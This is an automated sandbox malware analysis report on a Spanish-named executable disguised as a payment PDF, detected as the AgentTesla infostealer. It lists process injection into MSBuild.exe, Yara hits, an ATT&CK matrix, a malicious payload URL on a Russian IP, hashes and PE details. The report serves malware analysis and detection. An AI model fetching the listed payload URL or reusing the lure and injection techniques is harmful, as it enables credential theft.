Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Queries volume information: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe VolumeInformation
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_05F22654 GetUserNameW,

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aviso de pago.pdf____________________________.exe PID: 6232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3272, type: MEMORYSTR

Source: Yara match	File source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3272, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aviso de pago.pdf____________________________.exe PID: 6232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3272, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	12 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	211 Process Injection	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Software Packing	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	1 File and Directory Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	113 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Aviso de pago.pdf____________________________.exe	24%	ReversingLabs	ByteCode-MSIL.Trojan.Strictor
Aviso de pago.pdf____________________________.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
12.0.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
12.0.MSBuild.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File
12.0.MSBuild.exe.400000.3.unpack	100%	Avira	TR/Spy.Gen8	Download File
12.2.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
12.0.MSBuild.exe.400000.2.unpack	100%	Avira	TR/Spy.Gen8	Download File
12.0.MSBuild.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://195.133.18.171	17%	Virustotal		Browse
http://195.133.18.171	100%	Avira URL Cloud	malware
http://195.133.18.171/Znmtganqo_Wvetpunc.jpgT	100%	Avira URL Cloud	malware
http://195.133.18.171/Znmtganqo_Wvetpunc.jpg	100%	Avira URL Cloud	malware
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://WPfLXV.com	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://195.133.18.171/Znmtganqo_Wvetpunc.jpg	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://195.133.18.171	Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://195.133.18.171/Znmtganqo_Wvetpunc.jpgT	Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/mgravell/protobuf-net	Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	Aviso de pago.pdf____________________________.exe, 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://WPfLXV.com	MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
195.133.18.171	unknown	Russian Federation		197695	AS-REGRU	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626184
Start date and time: 13/05/202217:17:18	2022-05-13 17:17:18 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 46s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Aviso de pago.pdf____________________________.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/1@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 0.1% (good quality ratio 0.1%) Quality average: 100% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 98% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 23.3.109.212, 23.35.236.56, 20.190.159.4, 40.126.31.73, 20.190.159.75, 20.190.159.23, 40.126.31.67, 20.190.159.64, 40.126.31.69, 40.126.31.71, 20.82.210.154, 40.126.32.133, 40.126.32.140, 40.126.32.134, 40.126.32.136, 20.190.160.22, 20.190.160.20, 40.126.32.74, 40.126.32.76, 20.199.120.151, 20.199.120.182, 173.222.108.210, 173.222.108.226, 80.67.82.211, 80.67.82.235, 20.199.120.85, 20.54.89.106, 40.125.122.176, 20.223.24.244, 40.112.88.60, 52.152.110.14, 52.242.101.226
Excluded domains from analysis (whitelisted): www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, sls.update.microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, www.tm.a.prd.aadg.akadns.net, wu-bg-sh
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:19:20	API Interceptor	1x Sleep call for process: Aviso de pago.pdf____________________________.exe modified
17:19:36	API Interceptor	360x Sleep call for process: MSBuild.exe modified

Process:	C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1214
Entropy (8bit):	5.355725642582145
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7QJE4oE4KAE4Kx1qE4j:MxHKXwYHKhQnoPtHoxHhAHKzvQJHoHKO
MD5:	2717088AB018D5B447B894876B721386
SHA1:	C88136905BD0ACEAF8B31A73FB0B12F02D503DCA
SHA-256:	34109AB9D426B98603DA4B53D239CCD7A6E09F4C62277BE6B8D4675553A6736D
SHA-512:	71FF92D93D8EF19AF3E6E1E4A83EA427BC172DE5BD9C4F69EC28279C77A6586AAB38C4F1C1F66550729DCFC2D8764452D8DE47FBB1C15BCDD4D385EAE3883F14
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data.SqlXml, Version=4.0.0.0, Culture=neutral, Public

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.9748366824969
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Aviso de pago.pdf____________________________.exe
File size:	55296
MD5:	05b6b97166b339557424ca035418a640
SHA1:	e1699c9c10d6807650fcc35fc76c7744deeb16be
SHA256:	6797c9eb17e1ad3b41121bc80db0a97ae642bfca0874c8b7bd391507d2ca5540
SHA512:	0e2c6febd221d1c2e8a465dca46037ab6f826d5780c0ccb7bface146a15d1031124ddd5097b77f275a0714751559a77b8ea4cc4959c37d7ff336c6a3690ee7c8
SSDEEP:	768:RNXVU+bbYXAFM8VvlVjCRvaA5pXyLLqU6tqsDp+CH1S0ADhKDR:RPUcbMAlC4A54z6t9DHHgV+
TLSH:	72437C56B386C911C9E80A708C66DA780735FD818CC1A20F33D5BF6F7D322D6D686B66
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.............>6... ...@....@.. ....................... ............`................................

File Icon


Icon Hash:	c00b9b1b233d2dc2

Static PE Info

General

Entrypoint:	0x40363e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0xD0E49B7F [Mon Jan 20 23:55:43 2081 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35ec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0xbbb8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x35d0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1644	0x1800	False	0.529622395833	data	5.32361528176	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0xbbb8	0xbc00	False	0.582945478723	data	5.92398459334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x4220	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x4358	0x2e8	data
RT_ICON	0x4650	0x668	dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 0, next used block 0
RT_ICON	0x4cc8	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x5240	0x8a8	data
RT_ICON	0x5af8	0xea8	data
RT_ICON	0x69b0	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x6e28	0x10a8	data
RT_ICON	0x7ee0	0x25a8	data
